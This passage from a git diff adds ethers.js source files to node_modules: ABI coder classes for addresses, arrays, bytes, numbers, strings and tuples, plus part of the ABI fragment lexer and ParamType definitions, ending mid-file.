later + writeUpdatableValue(): (value: BigNumberish) => void { + const offset = this.#data.length; + this.#data.push(Padding); + this.#dataLength += WordSize; + return (value: BigNumberish) => { + this.#data[offset] = getValue(value); + }; + } +} + +/** + * @_ignore + */ +export class Reader { + // Allows incomplete unpadded data to be read; otherwise an error + // is raised if attempting to overrun the buffer. This is required + // to deal with an old Solidity bug, in which event data for + // external (not public thoguh) was tightly packed. + readonly allowLoose!: boolean; + + readonly #data: Uint8Array; + #offset: number; + + #bytesRead: number; + #parent: null | Reader; + #maxInflation: number; + + constructor(data: BytesLike, allowLoose?: boolean, maxInflation?: number) { + defineProperties(this, { allowLoose: !!allowLoose }); + + this.#data = getBytesCopy(data); + this.#bytesRead = 0; + this.#parent = null; + this.#maxInflation = (maxInflation != null) ? maxInflation: 1024; + + this.#offset = 0; + } + + get data(): string { return hexlify(this.#data); } + get dataLength(): number { return this.#data.length; } + get consumed(): number { return this.#offset; } + get bytes(): Uint8Array { return new Uint8Array(this.#data); } + + #incrementBytesRead(count: number): void { + if (this.#parent) { return this.#parent.#incrementBytesRead(count); } + + this.#bytesRead += count; + + // Check for excessive inflation (see: #4537) + assert(this.#maxInflation < 1 || this.#bytesRead <= this.#maxInflation * this.dataLength, `compressed ABI data exceeds inflation ratio of ${ this.#maxInflation } ( see: https:/\/github.com/ethers-io/ethers.js/issues/4537 )`, "BUFFER_OVERRUN", { + buffer: getBytesCopy(this.#data), offset: this.#offset, + length: count, info: { + bytesRead: this.#bytesRead, + dataLength: this.dataLength + } + }); + } + + #peekBytes(offset: number, length: number, loose?: boolean): Uint8Array { + let alignedLength = Math.ceil(length / WordSize) * WordSize; + if (this.#offset + alignedLength > this.#data.length) { + if (this.allowLoose && loose && this.#offset + length <= this.#data.length) { + alignedLength = length; + } else { + assert(false, "data out-of-bounds", "BUFFER_OVERRUN", { + buffer: getBytesCopy(this.#data), + length: this.#data.length, + offset: this.#offset + alignedLength + }); + } + } + return this.#data.slice(this.#offset, this.#offset + alignedLength) + } + + // Create a sub-reader with the same underlying data, but offset + subReader(offset: number): Reader { + const reader = new Reader(this.#data.slice(this.#offset + offset), this.allowLoose, this.#maxInflation); + reader.#parent = this; + return reader; + } + + // Read bytes + readBytes(length: number, loose?: boolean): Uint8Array { + let bytes = this.#peekBytes(0, length, !!loose); + this.#incrementBytesRead(length); + this.#offset += bytes.length; + // @TODO: Make sure the length..end bytes are all 0? + return bytes.slice(0, length); + } + + // Read a numeric values + readValue(): bigint { + return toBigInt(this.readBytes(WordSize)); + } + + readIndex(): number { + return toNumber(this.readBytes(WordSize)); + } +} diff --git a/node_modules/ethers/src.ts/abi/coders/address.ts b/node_modules/ethers/src.ts/abi/coders/address.ts new file mode 100644 index 000000000000..160b13208178 --- /dev/null +++ b/node_modules/ethers/src.ts/abi/coders/address.ts @@ -0,0 +1,36 @@ +import { getAddress } from "../../address/index.js"; +import { toBeHex } from "../../utils/maths.js"; + +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; + +import type { Reader, Writer } from "./abstract-coder.js"; + + +/** + * @_ignore + */ +export class AddressCoder extends Coder { + + constructor(localName: string) { + super("address", "address", localName, false); + } + + defaultValue(): string { + return "0x0000000000000000000000000000000000000000"; + } + + encode(writer: Writer, _value: string | Typed): number { + let value = Typed.dereference(_value, "string"); + try { + value = getAddress(value); + } catch (error: any) { + return this._throwError(error.message, _value); + } + return writer.writeValue(value); + } + + decode(reader: Reader): any { + return getAddress(toBeHex(reader.readValue(), 20)); + } +} diff --git a/node_modules/ethers/src.ts/abi/coders/anonymous.ts b/node_modules/ethers/src.ts/abi/coders/anonymous.ts new file mode 100644 index 000000000000..16747c64b36d --- /dev/null +++ b/node_modules/ethers/src.ts/abi/coders/anonymous.ts @@ -0,0 +1,29 @@ +import { Coder } from "./abstract-coder.js"; + +import type { Reader, Writer } from "./abstract-coder.js"; + +/** + * Clones the functionality of an existing Coder, but without a localName + * + * @_ignore + */ +export class AnonymousCoder extends Coder { + private coder: Coder; + + constructor(coder: Coder) { + super(coder.name, coder.type, "_", coder.dynamic); + this.coder = coder; + } + + defaultValue(): any { + return this.coder.defaultValue(); + } + + encode(writer: Writer, value: any): number { + return this.coder.encode(writer, value); + } + + decode(reader: Reader): any { + return this.coder.decode(reader); + } +} diff --git a/node_modules/ethers/src.ts/abi/coders/array.ts b/node_modules/ethers/src.ts/abi/coders/array.ts new file mode 100644 index 000000000000..9323ed975930 --- /dev/null +++ b/node_modules/ethers/src.ts/abi/coders/array.ts @@ -0,0 +1,199 @@ +import { + defineProperties, isError, assert, assertArgument, assertArgumentCount +} from "../../utils/index.js"; + +import { Typed } from "../typed.js"; + +import { Coder, Result, WordSize, Writer } from "./abstract-coder.js"; +import { AnonymousCoder } from "./anonymous.js"; + +import type { Reader } from "./abstract-coder.js"; + +/** + * @_ignore + */ +export function pack(writer: Writer, coders: ReadonlyArray, values: Array | { [ name: string ]: any }): number { + let arrayValues: Array = [ ]; + + if (Array.isArray(values)) { + arrayValues = values; + + } else if (values && typeof(values) === "object") { + let unique: { [ name: string ]: boolean } = { }; + + arrayValues = coders.map((coder) => { + const name = coder.localName; + assert(name, "cannot encode object for signature with missing names", + "INVALID_ARGUMENT", { argument: "values", info: { coder }, value: values }); + + assert(!unique[name], "cannot encode object for signature with duplicate names", + "INVALID_ARGUMENT", { argument: "values", info: { coder }, value: values }); + + unique[name] = true; + + return values[name]; + }); + + } else { + assertArgument(false, "invalid tuple value", "tuple", values); + } + + assertArgument(coders.length === arrayValues.length, "types/value length mismatch", "tuple", values); + + let staticWriter = new Writer(); + let dynamicWriter = new Writer(); + + let updateFuncs: Array<(baseOffset: number) => void> = []; + coders.forEach((coder, index) => { + let value = arrayValues[index]; + + if (coder.dynamic) { + // Get current dynamic offset (for the future pointer) + let dynamicOffset = dynamicWriter.length; + + // Encode the dynamic value into the dynamicWriter + coder.encode(dynamicWriter, value); + + // Prepare to populate the correct offset once we are done + let updateFunc = staticWriter.writeUpdatableValue(); + updateFuncs.push((baseOffset: number) => { + updateFunc(baseOffset + dynamicOffset); + }); + + } else { + coder.encode(staticWriter, value); + } + }); + + // Backfill all the dynamic offsets, now that we know the static length + updateFuncs.forEach((func) => { func(staticWriter.length); }); + + let length = writer.appendWriter(staticWriter); + length += writer.appendWriter(dynamicWriter); + return length; +} + +/** + * @_ignore + */ +export function unpack(reader: Reader, coders: ReadonlyArray): Result { + let values: Array = []; + let keys: Array = [ ]; + + // A reader anchored to this base + let baseReader = reader.subReader(0); + + coders.forEach((coder) => { + let value: any = null; + + if (coder.dynamic) { + let offset = reader.readIndex(); + let offsetReader = baseReader.subReader(offset); + try { + value = coder.decode(offsetReader); + } catch (error: any) { + // Cannot recover from this + if (isError(error, "BUFFER_OVERRUN")) { + throw error; + } + + value = error; + value.baseType = coder.name; + value.name = coder.localName; + value.type = coder.type; + } + + } else { + try { + value = coder.decode(reader); + } catch (error: any) { + // Cannot recover from this + if (isError(error, "BUFFER_OVERRUN")) { + throw error; + } + + value = error; + value.baseType = coder.name; + value.name = coder.localName; + value.type = coder.type; + } + } + + if (value == undefined) { + throw new Error("investigate"); + } + + values.push(value); + keys.push(coder.localName || null); + }); + + return Result.fromItems(values, keys); +} + +/** + * @_ignore + */ +export class ArrayCoder extends Coder { + readonly coder!: Coder; + readonly length!: number; + + constructor(coder: Coder, length: number, localName: string) { + const type = (coder.type + "[" + (length >= 0 ? length: "") + "]"); + const dynamic = (length === -1 || coder.dynamic); + super("array", type, localName, dynamic); + defineProperties(this, { coder, length }); + } + + defaultValue(): Array { + // Verifies the child coder is valid (even if the array is dynamic or 0-length) + const defaultChild = this.coder.defaultValue(); + + const result: Array = []; + for (let i = 0; i < this.length; i++) { + result.push(defaultChild); + } + return result; + } + + encode(writer: Writer, _value: Array | Typed): number { + const value = Typed.dereference(_value, "array"); + + if(!Array.isArray(value)) { + this._throwError("expected array value", value); + } + + let count = this.length; + + if (count === -1) { + count = value.length; + writer.writeValue(value.length); + } + + assertArgumentCount(value.length, count, "coder array" + (this.localName? (" "+ this.localName): "")); + + let coders: Array = [ ]; + for (let i = 0; i < value.length; i++) { coders.push(this.coder); } + + return pack(writer, coders, value); + } + + decode(reader: Reader): any { + let count = this.length; + if (count === -1) { + count = reader.readIndex(); + + // Check that there is *roughly* enough data to ensure + // stray random data is not being read as a length. Each + // slot requires at least 32 bytes for their value (or 32 + // bytes as a link to the data). This could use a much + // tighter bound, but we are erroring on the side of safety. + assert(count * WordSize <= reader.dataLength, "insufficient data length", + "BUFFER_OVERRUN", { buffer: reader.bytes, offset: count * WordSize, length: reader.dataLength }); + } + let coders: Array = []; + for (let i = 0; i < count; i++) { coders.push(new AnonymousCoder(this.coder)); } + + return unpack(reader, coders); + } +} + diff --git a/node_modules/ethers/src.ts/abi/coders/boolean.ts b/node_modules/ethers/src.ts/abi/coders/boolean.ts new file mode 100644 index 000000000000..a1b96d3e609c --- /dev/null +++ b/node_modules/ethers/src.ts/abi/coders/boolean.ts @@ -0,0 +1,27 @@ +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; + +import type { Reader, Writer } from "./abstract-coder.js"; + +/** + * @_ignore + */ +export class BooleanCoder extends Coder { + + constructor(localName: string) { + super("bool", "bool", localName, false); + } + + defaultValue(): boolean { + return false; + } + + encode(writer: Writer, _value: boolean | Typed): number { + const value = Typed.dereference(_value, "bool"); + return writer.writeValue(value ? 1: 0); + } + + decode(reader: Reader): any { + return !!reader.readValue(); + } +} diff --git a/node_modules/ethers/src.ts/abi/coders/bytes.ts b/node_modules/ethers/src.ts/abi/coders/bytes.ts new file mode 100644 index 000000000000..90b6a06105ee --- /dev/null +++ b/node_modules/ethers/src.ts/abi/coders/bytes.ts @@ -0,0 +1,43 @@ +import { getBytesCopy, hexlify } from "../../utils/index.js"; + +import { Coder } from "./abstract-coder.js"; + +import type { Reader, Writer } from "./abstract-coder.js"; + + +/** + * @_ignore + */ +export class DynamicBytesCoder extends Coder { + constructor(type: string, localName: string) { + super(type, type, localName, true); + } + + defaultValue(): string { + return "0x"; + } + + encode(writer: Writer, value: any): number { + value = getBytesCopy(value); + let length = writer.writeValue(value.length); + length += writer.writeBytes(value); + return length; + } + + decode(reader: Reader): any { + return reader.readBytes(reader.readIndex(), true); + } +} + +/** + * @_ignore + */ +export class BytesCoder extends DynamicBytesCoder { + constructor(localName: string) { + super("bytes", localName); + } + + decode(reader: Reader): any { + return hexlify(super.decode(reader)); + } +} diff --git a/node_modules/ethers/src.ts/abi/coders/fixed-bytes.ts b/node_modules/ethers/src.ts/abi/coders/fixed-bytes.ts new file mode 100644 index 000000000000..149f9823c5a4 --- /dev/null +++ b/node_modules/ethers/src.ts/abi/coders/fixed-bytes.ts @@ -0,0 +1,37 @@ + +import { defineProperties, getBytesCopy, hexlify } from "../../utils/index.js"; + +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; + +import type { BytesLike } from "../../utils/index.js"; + +import type { Reader, Writer } from "./abstract-coder.js"; + + +/** + * @_ignore + */ +export class FixedBytesCoder extends Coder { + readonly size!: number; + + constructor(size: number, localName: string) { + let name = "bytes" + String(size); + super(name, name, localName, false); + defineProperties(this, { size }, { size: "number" }); + } + + defaultValue(): string { + return ("0x0000000000000000000000000000000000000000000000000000000000000000").substring(0, 2 + this.size * 2); + } + + encode(writer: Writer, _value: BytesLike | Typed): number { + let data = getBytesCopy(Typed.dereference(_value, this.type)); + if (data.length !== this.size) { this._throwError("incorrect data length", _value); } + return writer.writeBytes(data); + } + + decode(reader: Reader): any { + return hexlify(reader.readBytes(this.size)); + } +} diff --git a/node_modules/ethers/src.ts/abi/coders/null.ts b/node_modules/ethers/src.ts/abi/coders/null.ts new file mode 100644 index 000000000000..210eec28d03c --- /dev/null +++ b/node_modules/ethers/src.ts/abi/coders/null.ts @@ -0,0 +1,28 @@ +import { Coder } from "./abstract-coder.js"; +import type { Reader, Writer } from "./abstract-coder.js"; + +const Empty = new Uint8Array([ ]); + +/** + * @_ignore + */ +export class NullCoder extends Coder { + + constructor(localName: string) { + super("null", "", localName, false); + } + + defaultValue(): null { + return null; + } + + encode(writer: Writer, value: any): number { + if (value != null) { this._throwError("not null", value); } + return writer.writeBytes(Empty); + } + + decode(reader: Reader): any { + reader.readBytes(0); + return null; + } +} diff --git a/node_modules/ethers/src.ts/abi/coders/number.ts b/node_modules/ethers/src.ts/abi/coders/number.ts new file mode 100644 index 000000000000..240351be070b --- /dev/null +++ b/node_modules/ethers/src.ts/abi/coders/number.ts @@ -0,0 +1,63 @@ +import { + defineProperties, fromTwos, getBigInt, mask, toTwos +} from "../../utils/index.js"; + +import { Typed } from "../typed.js"; +import { Coder, WordSize } from "./abstract-coder.js"; + +import type { BigNumberish } from "../../utils/index.js"; + +import type { Reader, Writer } from "./abstract-coder.js"; + + +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); +const BN_MAX_UINT256 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); + +/** + * @_ignore + */ +export class NumberCoder extends Coder { + readonly size!: number; + readonly signed!: boolean; + + constructor(size: number, signed: boolean, localName: string) { + const name = ((signed ? "int": "uint") + (size * 8)); + super(name, name, localName, false); + + defineProperties(this, { size, signed }, { size: "number", signed: "boolean" }); + } + + defaultValue(): number { + return 0; + } + + encode(writer: Writer, _value: BigNumberish | Typed): number { + let value = getBigInt(Typed.dereference(_value, this.type)); + + // Check bounds are safe for encoding + let maxUintValue = mask(BN_MAX_UINT256, WordSize * 8); + if (this.signed) { + let bounds = mask(maxUintValue, (this.size * 8) - 1); + if (value > bounds || value < -(bounds + BN_1)) { + this._throwError("value out-of-bounds", _value); + } + value = toTwos(value, 8 * WordSize); + } else if (value < BN_0 || value > mask(maxUintValue, this.size * 8)) { + this._throwError("value out-of-bounds", _value); + } + + return writer.writeValue(value); + } + + decode(reader: Reader): any { + let value = mask(reader.readValue(), this.size * 8); + + if (this.signed) { + value = fromTwos(value, this.size * 8); + } + + return value; + } +} + diff --git a/node_modules/ethers/src.ts/abi/coders/string.ts b/node_modules/ethers/src.ts/abi/coders/string.ts new file mode 100644 index 000000000000..17f3cf435fdc --- /dev/null +++ b/node_modules/ethers/src.ts/abi/coders/string.ts @@ -0,0 +1,29 @@ +import { toUtf8Bytes, toUtf8String } from "../../utils/utf8.js"; + +import { Typed } from "../typed.js"; +import { DynamicBytesCoder } from "./bytes.js"; + +import type { Reader, Writer } from "./abstract-coder.js"; + + +/** + * @_ignore + */ +export class StringCoder extends DynamicBytesCoder { + + constructor(localName: string) { + super("string", localName); + } + + defaultValue(): string { + return ""; + } + + encode(writer: Writer, _value: string | Typed): number { + return super.encode(writer, toUtf8Bytes(Typed.dereference(_value, "string"))); + } + + decode(reader: Reader): any { + return toUtf8String(super.decode(reader)); + } +} diff --git a/node_modules/ethers/src.ts/abi/coders/tuple.ts b/node_modules/ethers/src.ts/abi/coders/tuple.ts new file mode 100644 index 000000000000..484f6a6a2f0b --- /dev/null +++ b/node_modules/ethers/src.ts/abi/coders/tuple.ts @@ -0,0 +1,69 @@ +import { defineProperties } from "../../utils/properties.js"; + +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; + +import { pack, unpack } from "./array.js"; + +import type { Reader, Writer } from "./abstract-coder.js"; + +/** + * @_ignore + */ +export class TupleCoder extends Coder { + readonly coders!: ReadonlyArray; + + constructor(coders: Array, localName: string) { + let dynamic = false; + const types: Array = []; + coders.forEach((coder) => { + if (coder.dynamic) { dynamic = true; } + types.push(coder.type); + }); + const type = ("tuple(" + types.join(",") + ")"); + + super("tuple", type, localName, dynamic); + defineProperties(this, { coders: Object.freeze(coders.slice()) }); + } + + defaultValue(): any { + const values: any = [ ]; + this.coders.forEach((coder) => { + values.push(coder.defaultValue()); + }); + + // We only output named properties for uniquely named coders + const uniqueNames = this.coders.reduce((accum, coder) => { + const name = coder.localName; + if (name) { + if (!accum[name]) { accum[name] = 0; } + accum[name]++; + } + return accum; + }, <{ [ name: string ]: number }>{ }); + + // Add named values + this.coders.forEach((coder: Coder, index: number) => { + let name = coder.localName; + if (!name || uniqueNames[name] !== 1) { return; } + + if (name === "length") { name = "_length"; } + + if (values[name] != null) { return; } + + values[name] = values[index]; + }); + + return Object.freeze(values); + } + + encode(writer: Writer, _value: Array | { [ name: string ]: any } | Typed): number { + const value = Typed.dereference(_value, "tuple"); + return pack(writer, this.coders, value); + } + + decode(reader: Reader): any { + return unpack(reader, this.coders); + } +} + diff --git a/node_modules/ethers/src.ts/abi/fragments.ts b/node_modules/ethers/src.ts/abi/fragments.ts new file mode 100644 index 000000000000..202b7a93f700 --- /dev/null +++ b/node_modules/ethers/src.ts/abi/fragments.ts @@ -0,0 +1,1617 @@ +/** + * A fragment is a single item from an ABI, which may represent any of: + * + * - [Functions](FunctionFragment) + * - [Events](EventFragment) + * - [Constructors](ConstructorFragment) + * - Custom [Errors](ErrorFragment) + * - [Fallback or Receive](FallbackFragment) functions + * + * @_subsection api/abi/abi-coder:Fragments [about-fragments] + */ + +import { + defineProperties, getBigInt, getNumber, + assert, assertPrivate, assertArgument +} from "../utils/index.js"; +import { id } from "../hash/index.js"; + +/** + * A Type description in a [JSON ABI format](link-solc-jsonabi). + */ +export interface JsonFragmentType { + /** + * The parameter name. + */ + readonly name?: string; + + /** + * If the parameter is indexed. + */ + readonly indexed?: boolean; + + /** + * The type of the parameter. + */ + readonly type?: string; + + /** + * The internal Solidity type. + */ + readonly internalType?: string; + + /** + * The components for a tuple. + */ + readonly components?: ReadonlyArray; +} + +/** + * A fragment for a method, event or error in a [JSON ABI format](link-solc-jsonabi). + */ +export interface JsonFragment { + /** + * The name of the error, event, function, etc. + */ + readonly name?: string; + + /** + * The type of the fragment (e.g. ``event``, ``"function"``, etc.) + */ + readonly type?: string; + + /** + * If the event is anonymous. + */ + readonly anonymous?: boolean; + + /** + * If the function is payable. + */ + readonly payable?: boolean; + + /** + * If the function is constant. + */ + readonly constant?: boolean; + + /** + * The mutability state of the function. + */ + readonly stateMutability?: string; + + /** + * The input parameters. + */ + readonly inputs?: ReadonlyArray; + + /** + * The output parameters. + */ + readonly outputs?: ReadonlyArray; + + /** + * The gas limit to use when sending a transaction for this function. + */ + readonly gas?: string; +}; + +/** + * The format to serialize the output as. + * + * **``"sighash"``** - the bare formatting, used to compute the selector + * or topic hash; this format cannot be reversed (as it discards ``indexed``) + * so cannot by used to export an [[Interface]]. + * + * **``"minimal"``** - Human-Readable ABI with minimal spacing and without + * names, so it is compact, but will result in Result objects that cannot + * be accessed by name. + * + * **``"full"``** - Full Human-Readable ABI, with readable spacing and names + * intact; this is generally the recommended format. + * + * **``"json"``** - The [JSON ABI format](link-solc-jsonabi). + */ +export type FormatType = "sighash" | "minimal" | "full" | "json"; + +// [ "a", "b" ] => { "a": 1, "b": 1 } +function setify(items: Array): ReadonlySet { + const result: Set = new Set(); + items.forEach((k) => result.add(k)); + return Object.freeze(result); +} + +const _kwVisibDeploy = "external public payable override"; +const KwVisibDeploy = setify(_kwVisibDeploy.split(" ")); + +// Visibility Keywords +const _kwVisib = "constant external internal payable private public pure view override"; +const KwVisib = setify(_kwVisib.split(" ")); + +const _kwTypes = "constructor error event fallback function receive struct"; +const KwTypes = setify(_kwTypes.split(" ")); + +const _kwModifiers = "calldata memory storage payable indexed"; +const KwModifiers = setify(_kwModifiers.split(" ")); + +const _kwOther = "tuple returns"; + +// All Keywords +const _keywords = [ _kwTypes, _kwModifiers, _kwOther, _kwVisib ].join(" "); +const Keywords = setify(_keywords.split(" ")); + +// Single character tokens +const SimpleTokens: Record = { + "(": "OPEN_PAREN", ")": "CLOSE_PAREN", + "[": "OPEN_BRACKET", "]": "CLOSE_BRACKET", + ",": "COMMA", "@": "AT" +}; + +// Parser regexes to consume the next token +const regexWhitespacePrefix = new RegExp("^(\\s*)"); +const regexNumberPrefix = new RegExp("^([0-9]+)"); +const regexIdPrefix = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)"); + +// Parser regexs to check validity +const regexId = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)$"); +const regexType = new RegExp("^(address|bool|bytes([0-9]*)|string|u?int([0-9]*))$"); + +/** + * @ignore: + */ +type Token = Readonly<{ + // Type of token (e.g. TYPE, KEYWORD, NUMBER, etc) + type: string; + + // Offset into the original source code + offset: number; + + // Actual text content of the token + text: string; + + // The parenthesis depth + depth: number; + + // If a parenthesis, the offset (in tokens) that balances it + match: number; + + // For parenthesis and commas, the offset (in tokens) to the + // previous/next parenthesis or comma in the list + linkBack: number; + linkNext: number; + + // If a BRACKET, the value inside + value: number; +}>; + +class TokenString { + #offset: number; + #tokens: ReadonlyArray; + + get offset(): number { return this.#offset; } + get length(): number { return this.#tokens.length - this.#offset; } + + constructor(tokens: ReadonlyArray) { + this.#offset = 0; + this.#tokens = tokens.slice(); + } + + clone(): TokenString { return new TokenString(this.#tokens); } + reset(): void { this.#offset = 0; } + + #subTokenString(from: number = 0, to: number = 0): TokenString { + return new TokenString(this.#tokens.slice(from, to).map((t) => { + return Object.freeze(Object.assign({ }, t, { + match: (t.match - from), + linkBack: (t.linkBack - from), + linkNext: (t.linkNext - from), + })); + })); + } + + // Pops and returns the value of the next token, if it is a keyword in allowed; throws if out of tokens + popKeyword(allowed: ReadonlySet): string { + const top = this.peek(); + if (top.type !== "KEYWORD" || !allowed.has(top.text)) { throw new Error(`expected keyword ${ top.text }`); } + return this.pop().text; + } + + // Pops and returns the value of the next token if it is `type`; throws if out of tokens + popType(type: string): string { + if (this.peek().type !== type) { + const top = this.peek(); + throw new Error(`expected ${ type }; got ${ top.type } ${ JSON.stringify(top.text) }`); + } + return this.pop().text; + } + + // Pops and returns a "(" TOKENS ")" + popParen(): TokenString { + const top = this.peek(); + if (top.type !== "OPEN_PAREN") { throw new Error("bad start"); } + const result = this.#subTokenString(this.#offset + 1, top.match + 1); + this.#offset = top.match + 1; + return result; + } + + // Pops and returns the items within "(" ITEM1 "," ITEM2 "," ... ")" + popParams(): Array { + const top = this.peek(); + + if (top.type !== "OPEN_PAREN") { throw new Error("bad start"); } + + const result: Array = [ ]; + + while(this.#offset < top.match - 1) { + const link = this.peek().linkNext; + result.push(this.#subTokenString(this.#offset + 1, link)); + this.#offset = link; + } + + this.#offset = top.match + 1; + + return result; + } + + // Returns the top Token, throwing if out of tokens + peek(): Token { + if (this.#offset >= this.#tokens.length) { + throw new Error("out-of-bounds"); + } + return this.#tokens[this.#offset]; + } + + // Returns the next value, if it is a keyword in `allowed` + peekKeyword(allowed: ReadonlySet): null | string { + const top = this.peekType("KEYWORD"); + return (top != null && allowed.has(top)) ? top: null; + } + + // Returns the value of the next token if it is `type` + peekType(type: string): null | string { + if (this.length === 0) { return null; } + const top = this.peek(); + return (top.type === type) ? top.text: null; + } + + // Returns the next token; throws if out of tokens + pop(): Token { + const result = this.peek(); + this.#offset++; + return result; + } + + toString(): string { + const tokens: Array = [ ]; + for (let i = this.#offset; i < this.#tokens.length; i++) { + const token = this.#tokens[i]; + tokens.push(`${ token.type }:${ token.text }`); + } + return `` + } +} + +type Writeable = { -readonly [P in keyof T]: T[P] }; + +function lex(text: string): TokenString { + const tokens: Array = [ ]; + + const throwError = (message: string) => { + const token = (offset < text.length) ? JSON.stringify(text[offset]): "$EOI"; + throw new Error(`invalid token ${ token } at ${ offset }: ${ message }`); + }; + + let brackets: Array = [ ]; + let commas: Array = [ ]; + + let offset = 0; + while (offset < text.length) { + + // Strip off any leading whitespace + let cur = text.substring(offset); + let match = cur.match(regexWhitespacePrefix); + if (match) { + offset += match[1].length; + cur = text.substring(offset); + } + + const token = { depth: brackets.length, linkBack: -1, linkNext: -1, match: -1, type: "", text: "", offset, value: -1 }; + tokens.push(token); + + let type = (SimpleTokens[cur[0]] || ""); + if (type) { + token.type = type; + token.text = cur[0]; + offset++; + + if (type === "OPEN_PAREN") { + brackets.push(tokens.length - 1); + commas.push(tokens.length - 1); + + } else if (type == "CLOSE_PAREN") { + if (brackets.length === 0) { throwError("no matching open bracket"); } + + token.match = brackets.pop() as number; + (>(tokens[token.match])).match = tokens.length - 1; + token.depth--; + + token.linkBack = commas.pop() as number; + (>(tokens[token.linkBack])).linkNext = tokens.length - 1; + + } else if (type === "COMMA") { + token.linkBack = commas.pop() as number; + (>(tokens[token.linkBack])).linkNext = tokens.length - 1; + commas.push(tokens.length - 1); + + } else if (type === "OPEN_BRACKET") { + token.type = "BRACKET"; + + } else if (type === "CLOSE_BRACKET") { + // Remove the CLOSE_BRACKET + let suffix = (tokens.pop() as Token).text; + if (tokens.length > 0 && tokens[tokens.length - 1].type === "NUMBER") { + const value = (tokens.pop() as Token).text; + suffix = value + suffix; + (>(tokens[tokens.length - 1])).value = getNumber(value); + } + if (tokens.length === 0 || tokens[tokens.length - 1].type !== "BRACKET") { + throw new Error("missing opening bracket"); + } + (>(tokens[tokens.length - 1])).text += suffix; + } + + continue; + } + + match = cur.match(regexIdPrefix); + if (match) { + token.text = match[1]; + offset += token.text.length; + + if (Keywords.has(token.text)) { + token.type = "KEYWORD"; + continue; + } + + if (token.text.match(regexType)) { + token.type = "TYPE"; + continue; + } + + token.type = "ID"; + continue; + } + + match = cur.match(regexNumberPrefix); + if (match) { + token.text = match[1]; + token.type = "NUMBER"; + offset += token.text.length; + continue; + } + + throw new Error(`unexpected token ${ JSON.stringify(cur[0]) } at position ${ offset }`); + } + + return new TokenString(tokens.map((t) => Object.freeze(t))); +} + +// Check only one of `allowed` is in `set` +function allowSingle(set: ReadonlySet, allowed: ReadonlySet): void { + let included: Array = [ ]; + for (const key in allowed.keys()) { + if (set.has(key)) { included.push(key); } + } + if (included.length > 1) { throw new Error(`conflicting types: ${ included.join(", ") }`); } +} + +// Functions to process a Solidity Signature TokenString from left-to-right for... + +// ...the name with an optional type, returning the name +function consumeName(type: string, tokens: TokenString): string { + if (tokens.peekKeyword(KwTypes)) { + const keyword = tokens.pop().text; + if (keyword !== type) { + throw new Error(`expected ${ type }, got ${ keyword }`); + } + } + + return tokens.popType("ID"); +} + +// ...all keywords matching allowed, returning the keywords +function consumeKeywords(tokens: TokenString, allowed?: ReadonlySet): ReadonlySet { + const keywords: Set = new Set(); + while (true) { + const keyword = tokens.peekType("KEYWORD"); + + if (keyword == null || (allowed && !allowed.has(keyword))) { break; } + tokens.pop(); + + if (keywords.has(keyword)) { throw new Error(`duplicate keywords: ${ JSON.stringify(keyword) }`); } + keywords.add(keyword); + } + + return Object.freeze(keywords); +} + +// ...all visibility keywords, returning the coalesced mutability +function consumeMutability(tokens: TokenString): "payable" | "nonpayable" | "view" | "pure" { + let modifiers = consumeKeywords(tokens, KwVisib); + + // Detect conflicting modifiers + allowSingle(modifiers, setify("constant payable nonpayable".split(" "))); + allowSingle(modifiers, setify("pure view payable nonpayable".split(" "))); + + // Process mutability states + if (modifiers.has("view")) { return "view"; } + if (modifiers.has("pure")) { return "pure"; } + if (modifiers.has("payable")) { return "payable"; } + if (modifiers.has("nonpayable")) { return "nonpayable"; } + + // Process legacy `constant` last + if (modifiers.has("constant")) { return "view"; } + + return "nonpayable"; +} + +// ...a parameter list, returning the ParamType list +function consumeParams(tokens: TokenString, allowIndexed?: boolean): Array { + return tokens.popParams().map((t) => ParamType.from(t, allowIndexed)); +} + +// ...a gas limit, returning a BigNumber or null if none +function consumeGas(tokens: TokenString): null | bigint { + if (tokens.peekType("AT")) { + tokens.pop(); + if (tokens.peekType("NUMBER")) { + return getBigInt(tokens.pop().text); + } + throw new Error("invalid gas"); + } + return null; +} + +function consumeEoi(tokens: TokenString): void { + if (tokens.length) { + throw new Error(`unexpected tokens at offset ${ tokens.offset }: ${ tokens.toString() }`); + } +} + +const regexArrayType = new RegExp(/^(.*)\[([0-9]*)\]$/); + +function verifyBasicType(type: string): string { + const match = type.match(regexType); + assertArgument(match, "invalid type", "type", type); + if (type === "uint") { return "uint256"; } + if (type === "int") { return "int256"; } + + if (match[2]) { + // bytesXX + const length = parseInt(match[2]); + assertArgument(length !== 0 && length <= 32, "invalid bytes length", "type", type); + + } else if (match[3]) { + // intXX or uintXX + const size = parseInt(match[3] as string); + assertArgument(size !== 0 && size <= 256 && (size % 8) === 0, "invalid numeric width", "type", type); + } + + return type; +} + +// Make the Fragment constructors effectively private +const _guard = { }; + + +/** + * When [walking](ParamType-walk) a [[ParamType]], this is called + * on each component. + */ +export type ParamTypeWalkFunc = (type: string, value: any) => any; + +/** + * When [walking asynchronously](ParamType-walkAsync) a [[ParamType]], + * this is called on each component. + */ +export type ParamTypeWalkAsyncFunc = (type: string, value: any) => any | Promise; + +const internal = Symbol.for("_ethers_internal"); + +const ParamTypeInternal = "_ParamTypeInternal"; +const ErrorFragmentInternal = "_ErrorInternal"; +const EventFragmentInternal = "_EventInternal"; +const ConstructorFragmentInternal = "_ConstructorInternal"; +const FallbackFragmentInternal = "_FallbackInternal"; +const FunctionFragmentInternal = "_FunctionInternal"; +const StructFragmentInternal = "_StructInternal"; + +/** + * Each input and output of a [[Fragment]] is an Array of **ParamType**. + */ +export class ParamType { + + /** + * The local name of the parameter (or ``""`` if unbound) + */ + readonly name!: string; + + /** + * The fully qualified type (e.g. ``"address"``, ``"tuple(address)"``, + * ``"uint256[3][]"``) + */ + readonly type!: string; + + /** + * The base type (e.g. ``"address"``, ``"tuple"``, ``"array"``) + */ + readonly baseType!: string; + + /** + * True if the parameters is indexed. + * + * For non-indexable types this is ``null``. + */ + readonly indexed!: null | boolean; + + /** + * The components for the tuple. + * + * For non-tuple types this is ``null``. + */ + readonly components!: null | ReadonlyArray; + + /** + * The array length, or ``-1`` for dynamic-lengthed arrays. + * + * For non-array types this is ``null``. 